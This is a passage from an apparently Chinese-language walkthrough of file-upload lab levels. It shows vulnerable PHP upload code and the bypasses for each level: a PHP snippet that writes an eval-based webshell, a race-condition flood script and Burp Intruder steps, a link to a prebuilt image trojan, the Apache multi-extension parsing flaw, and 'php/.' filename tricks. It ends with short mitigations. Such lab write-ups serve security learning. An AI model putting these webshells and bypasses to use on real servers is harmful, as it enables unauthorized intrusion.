$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path = UPLOAD_PATH.'/'.basename($filename); // 构建上传目标路径
// 获得上传文件的扩展名
$fileext = substr(strrchr($filename, "."), 1);
// 判断文件后缀与类型,合法才进行上传操作
if (($fileext == "jpg") && ($filetype == "image/jpeg")) {
// 尝试移动上传的文件到指定目标
if (move_uploaded_file($tmpname, $target_path)) {
// 使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
// 检查是否成功创建图像资源
if ($im == false) {
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path); // 删除上传的非法文件
} else {
// 给新图片指定文件名
srand(time());
$newfilename = strval(rand()) . ".jpg";
// 显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH . '/' . $newfilename;
imagejpeg($im, $img_path);
@unlink($target_path); // 删除原始上传文件
$is_upload = true; // 上传成功,设置标志为 true
}
} else {
$msg = "上传出错!";
}
} else if (($fileext == "png") && ($filetype == "image/png")) {
// 与上述处理方式类似,处理 png 格式的图片
// 略...
} else if (($fileext == "gif") && ($filetype == "image/gif")) {
// 与上述处理方式类似,处理 gif 格式的图片
// 略...
} else {
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
?>
|
代码对上传图片判断后缀名
、content-type
,以及利用imagecreatefromgif
判断是否为gif
图片,最后再做了一次二次渲染
解决方法:将木马放在不会被二次渲染清除的地方,这个位置需要去不断尝试。推荐用别人做好的图片马:
https://wwe.lanzoui.com/iFSwwn53jaf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
<?php
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg', 'png', 'gif'); // 允许的文件扩展名数组
$file_name = $_FILES['upload_file']['name']; // 获取上传文件的原始文件名
$temp_file = $_FILES['upload_file']['tmp_name']; // 获取上传文件的临时文件路径
$file_ext = substr($file_name, strrpos($file_name, ".") + 1); // 获取上传文件的扩展名
$upload_file = UPLOAD_PATH . '/' . $file_name; // 构建上传目标文件路径
// 尝试移动上传的文件到指定目标
if(move_uploaded_file($temp_file, $upload_file)){
// 检查文件扩展名是否在允许的范围内
if(in_array($file_ext, $ext_arr)){
$img_path = UPLOAD_PATH . '/' . rand(10, 99) . date("YmdHis") . "." . $file_ext; // 构建新的文件路径
rename($upload_file, $img_path); // 重命名上传的文件为新的文件路径
$is_upload = true; // 上传成功,设置标志为 true
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file); // 删除上传的不允许类型的文件
}
} else {
$msg = '上传出错!'; // 移动文件失败,显示错误消息
}
}
?>
|
代码先将上传的 文件保存在服务器的临时路径里,再通过检查来判断是否转移到正式路径
从保存到临时路径到未通过检测、删除文件之间有个短暂的时间差,在此之前的文件是存在服务器上的,所以可以不断上传一个可以在生成 webshell 的文件,同时不断去访问这个文件,总有几率在文件未被删除时访问到文件,激活代码,产生一个 webshell
文件内容为:
1
2
3
|
<?php
fputs(fopen('webshell.php','w'),'<?php @eval($_POST["wtlr"]) ?>');
?>
|
重复发包的方法:
将抓到的包转到 Intruder 模块:
线程随便设置一下:
最后点击**“Start attack”**就可以不断发包了。
重复访问url的脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
import requests
import time
import concurrent.futures
def visit_website(url, request_number):
try:
with requests.Session() as session:
response = session.get(url)
if response.status_code == 200:
print(f"Request {request_number} - Status code: {response.status_code}")
else:
print(f"Request {request_number} - Error: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"Request {request_number} - An error occurred:", str(e))
# 用户输入要访问的网站地址、请求数量和延迟时间
url = input("请输入要访问的网站地址(包括协议):")
num_requests = int(input("请输入请求数量:"))
delay = float(input("请输入每次请求的延迟时间(以秒为单位):"))
# 创建线程池
with concurrent.futures.ThreadPoolExecutor() as executor:
# 提交任务到线程池
future_to_url = {executor.submit(visit_website, url, i+1): i+1 for i in range(num_requests)}
# 获取任务结果
for future in concurrent.futures.as_completed(future_to_url):
try:
future.result()
except Exception as e:
print("An error occurred:", str(e))
# 控制请求间隔
time.sleep(delay)
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
|
// index.php
$is_upload = false; // 初始化上传标志为false
$msg = null; // 初始化上传状态消息为null
if (isset($_POST['submit'])) {
require_once("./myupload.php"); // 引入上传类文件
$imgFileName = time(); // 生成基于时间的文件名
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'], $imgFileName); // 创建MyUpload类的实例
$status_code = $u->upload(UPLOAD_PATH); // 调用上传方法
// 根据上传状态码处理不同情况
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已上传但未重命名。';
break;
case -1:
$msg = '此文件无法上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传此类型的文件。';
break;
case -4:
$msg = '上传失败,上传的文件太大。';
break;
case -5:
$msg = '上传失败,服务器上已存在同名文件。';
break;
case -6:
$msg = '文件无法上传,无法复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
// myupload.php
// MyUpload类定义了一个文件上传类
class MyUpload {
// ...
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
/** upload()
**
** 上传文件的方法。
** 这是类外部唯一调用的方法。
** @para 要上传到的目录的名称
** @returns void
**/
function upload($dir)
{
$ret = $this->isUploadedFile();
if ($ret != 1) {
return $this->resultUpload($ret);
}
$ret = $this->setDir($dir);
if ($ret != 1) {
return $this->resultUpload($ret);
}
$ret = $this->checkExtension();
if ($ret != 1) {
return $this->resultUpload($ret);
}
$ret = $this->checkSize();
if ($ret != 1) {
return $this->resultUpload($ret);
}
// 如果设置文件存在标志为1
if ($this->cls_file_exists == 1) {
$ret = $this->checkFileExists();
if ($ret != 1) {
return $this->resultUpload($ret);
}
}
// 如果能运行到这里,就准备将文件移动到目标位置
$ret = $this->move();
if ($ret != 1) {
return $this->resultUpload($ret);
}
// 检查是否需要重命名文件
if ($this->cls_rename_file == 1) {
$ret = $this->renameFile();
if ($ret != 1) {
return $this->resultUpload($ret);
}
}
// 如果运行到这里,一切都按计划进行 :)
return $this->resultUpload("成功");
}
// ...
}
|
这关的源码有个错误,打开 19 关的 myupload.php 在此处将 $dir
修改为 $dir.'/'
这题的预期解法应该是利用 Apache 解析漏洞
Apache解析漏洞:如果重复发包上传文件shell.php.7z
,有几率导致某次服务器无法对上传过来的文件成功重命名,就导致webshell.php.7z
未被重命名被传到服务器里。Apache 解析漏洞会将shell.php.*
都当作shell.php
执行
- 漏洞版本:使用 module 模式与 php 结合的所有版本 apache 存在未知扩展名解析漏洞,使用 fastcig 模式与 php 结合的所有版本 apache 不存在此漏洞
- 漏洞原理:Apache 在遇到多个后缀的文件时,尝试从后往前解析,直到解析到可解析的为止
- test.php.xxx 按照 php 解析
- test.php.xxx.jpg 按照 php 解析
具体步骤:
将上传 shell.php.7z 的数据包发到 Intruder 模块:
如图设置,最后点击 Start attack :
可以看到上传目录出现了来不及被重命名的 shell.php.7z :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) { // 检查是否有表单提交
if (file_exists(UPLOAD_PATH)) { // 检查上传目录是否存在
$deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess");
$file_name = $_POST['save_name']; // 从表单获取保存的文件名
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION); // 获取文件名的扩展名
if (!in_array($file_ext, $deny_ext)) { // 检查文件扩展名是否被禁止
$temp_file = $_FILES['upload_file']['tmp_name']; // 获取上传的临时文件路径
$img_path = UPLOAD_PATH . '/' . $file_name; // 设置上传后的文件路径
if (move_uploaded_file($temp_file, $img_path)) { // 尝试移动上传的文件到目标路径
$is_upload = true; // 设置上传标志为true
} else {
$msg = '上传出错!'; // 设置上传错误消息
}
} else {
$msg = '禁止保存为该类型文件!'; // 设置禁止保存该类型文件的消息
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; // 设置上传目录不存在的消息
}
}
|
代码通过move_uploaded_file()
将上传的文件移动到新位置
move_uploaded_file()
的特性:移动的时候会忽略掉文件末尾的 /.
而php/.
可以绕过黑名单
所以可以上传后门,命名为upload-19.php/.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
$is_upload = false;
$msg = null;
if (!empty($_FILES['upload_file'])) { // 检查是否有上传文件
// 检查MIME类型
$allow_type = array('image/jpeg', 'image/png', 'image/gif');
if (!in_array($_FILES['upload_file']['type'], $allow_type)) { // 检查文件的MIME类型是否在允许的列表中
$msg = "禁止上传该类型文件!"; // 设置MIME类型不允许的消息
} else {
// 检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name']; // 获取文件名,如果未提供,则使用上传文件的原始名称
if (!is_array($file)) { $file = explode('.', strtolower($file)); } // 将文件名转换为小写并分割为数组
$ext = end($file); // 获取文件的后缀
$allow_suffix = array('jpg', 'png', 'gif'); // 设置允许的文件后缀列表
if (!in_array($ext, $allow_suffix)) { // 检查文件的后缀是否在允许的列表中
$msg = "禁止上传该后缀文件!"; // 设置后缀不允许的消息
} else {
$file_name = reset($file) . '.' . $file[count($file) - 1]; // 构建上传后的文件名
$temp_file = $_FILES['upload_file']['tmp_name']; // 获取上传的临时文件路径
$img_path = UPLOAD_PATH . '/' . $file_name; // 设置上传后的文件路径
if (move_uploaded_file($temp_file, $img_path)) { // 尝试移动上传的文件到目标路径
$msg = "文件上传成功!"; // 设置上传成功消息
$is_upload = true; // 设置上传标志为true
} else {
$msg = "文件上传失败!"; // 设置上传失败消息
}
}
}
} else {
$msg = "请选择要上传的文件!"; // 设置未选择文件的消息
}
|
验证过程:
- 验证上传路径是否存在
- 验证
['upload_file']
的 content-type 是否合法(可以抓包修改)
- 判断 POST 参数是否为空定义
$file
变量(关键:构造数组绕过下一步的判断)
- 判断 file 不是数组则使用
explode('.', strtolower($file))
对 file 进行切割,将file变为一个数组
- 数组第一位和
$file[count($file) - 1]
进行拼接,产生保存文件名 file_name
- 上传文件
绕过:
将要保存的文件名变成一个空间为 3 的数组,第 2 个值 ([1]) 留空
这样子就会把upload-20.php/
与.
与拼接
最后就是upload-20.php/.
move_uploaded_file()
移动文件的时候会忽略/.
文件上传后存储目录不给执行权限
把上传的文件数据编码后存储,固定方式解析
将文件保存在另外一台服务器上
将文件保存在OSS上